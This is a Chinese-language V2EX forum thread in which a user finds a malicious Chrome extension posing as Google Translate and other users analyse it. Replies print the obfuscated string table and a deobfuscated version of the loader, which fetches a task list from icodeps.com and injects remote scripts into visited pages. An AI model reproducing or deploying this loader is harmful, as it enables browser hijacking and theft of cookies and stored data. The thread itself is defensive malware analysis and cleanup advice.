发现 chrome 中了插件病毒,求大佬看看

2023-03-22 11:12:54 +08:00
 AoEiuV020CN

突然发现 chrome 访问任何网站都有个 net::ERR_CONNECTION_CLOSED 的 xhr 失败请求,

地址是,https://www.icodeps.com/jsapi.php

发起请求的 js 代码混淆过了看不太清,大概就是请求这个地址成功后收集信息然后怎样的,

排查插件发现是个伪装成 Google Translate 的本地插件干的,

有点难绷,这是唯一一个本地插件,以前还有别的,所以开发者模式打开了也没注意,

而且这个插件图标右下角有个小图标,现在想来应该就是本地插件的意思,之前没注意,

看创建时间是 2022 年 8 月 12 日,路径是 C:\Program Files\aieoplapobidheellikiicjfpamacpfd

这是公司电脑,之前确实中过毒,具体忘了,那之后就装上 360 了,现在换火绒了,一直以为没事了的,

现在这个病毒插件应该是过期了,服务器关闭了,

但不知道之前做过些什么,搜也搜不到相关信息,有点虚,求大佬看看,

https://gist.github.com/AoEiuV020/3197f2adf7b2137adcc6018781eb2293

完整插件传到 notion 了,
https://aoeiuv020.notion.site/122768ca6ff04cef9c92d15867562262

2203 次点击
所在节点    程序员
6 条回复
wtfedc
2023-03-22 11:44:52 +08:00
var _0x6c6f = ["log", "GET", "https://www.icodeps.com/jsapi.php", "parse", "countrycode", "tasklist", "countrylist", "url", "type", "rand", "indexOf", "WW", "random", "randres:", "inject", "sendMessage", "runtime", "directloadhead", "script", "createElement", "src", "text/javascript", "async", "defer", "load", "addEventListener", "error", "beforeend", "insertAdjacentElement", "head", "body", "_vv_dev", "floor", "1.0.0.59", "?v=", "directloadbody", "name", ":", "message", "ajax"];

看了一下,主要是在页面插入一个<script>标签,具体行为是动态从接口获取的。可能造成的危害是拿 cookie, localStorage, DDos 肉鸡,csrf 。
吓得我赶紧检查了一下自己的插件。
AoEiuV020CN
2023-03-22 11:50:59 +08:00
@wtfedc #1 具体行为是动态的这就很糟了,完全没法知道自己被做了什么,我不干净了,
oldshensheep
2023-03-22 12:00:41 +08:00
插件可能会保存动态获取的代码,如果没有卸载的话可以看看有没有存什么数据
AoEiuV020CN
2023-03-22 12:05:31 +08:00
@oldshensheep #3 插件还没卸载,但浏览器可能有清过数据,
有没有什么具体位置能看看插件可能保存的文件的?
Fo3256Go
2023-03-22 13:31:31 +08:00
已经中过毒的 PC 都建议重装一次。
不要只是杀完毒就以为可以了。
不要去找已经跑路的病毒作者了,也不要在他的操作里看他窃取了什么。直接默认他已经窃取了这个 Chrome 的所有数据。

所以只要是用这个 Chrome 浏览器登录过的所有账号,一律改密码、加二级认证。如果有登录过网银或者输入过卡号,银行卡密码也要更改,这才是正确做法。
这样查他的操作是没有什么意义的,除非能找到真实姓名然后起诉。
lilei2023
2023-03-22 14:08:49 +08:00
找工具转了一下,手动替换了变量
```
function fn() {
$.ajax({
type: 'GET',
url: 'https://www.icodeps.com/jsapi.php',
success: function (data) {
try {
var match = JSON.parse(data);
var calleeName = match['countrycode'];
var req = match['tasklist'];
log(req);

for (res of req) {
var car = res['countrylist'];
var url = res['url'];
var session_c = res['type'];
var rand = res['rand'];

if (car.indexOf(calleeName) > -1 || car.indexOf('WW') > -1) {
var randNum = parseInt(Math.random() * rand);

log('randres:' + randNum);

if (randNum == 0) {
if (session_c == 'inject') {
chrome.runtime.sendMessage({
action: 'inject',
data: url,
});
} else {
if (session_c == 'directloadhead') {
function tmp(i, elem, fn, err) {
let script = document.createElement('script');
script.src = i;
script.type = 'text/javascript';
script.async = false;
script.defer = false;
if (fn) {
script.addEventListener('load', function () {
fn();
});
}
if (err) {
script.addEventListener('error', function () {
fn();
});
}
if (elem) {
document.head.insertAdjacentElement("beforeend", script)
} else {
document.body.insertAdjacentElement("beforeend", script)
}
}
}

window["_vv_dev"] = false
const i = window["_vv_dev"] ? Math.floor(Math.random() * Math.floor(99999999999999)) : "1.0.0.59";
log(url + i);
tmp(url,"?v="+i, false)
}
}
}
}
} catch (e) {
log(e["name"] + ":" + e["message"]);
}
},
});
}

```

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/926112

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX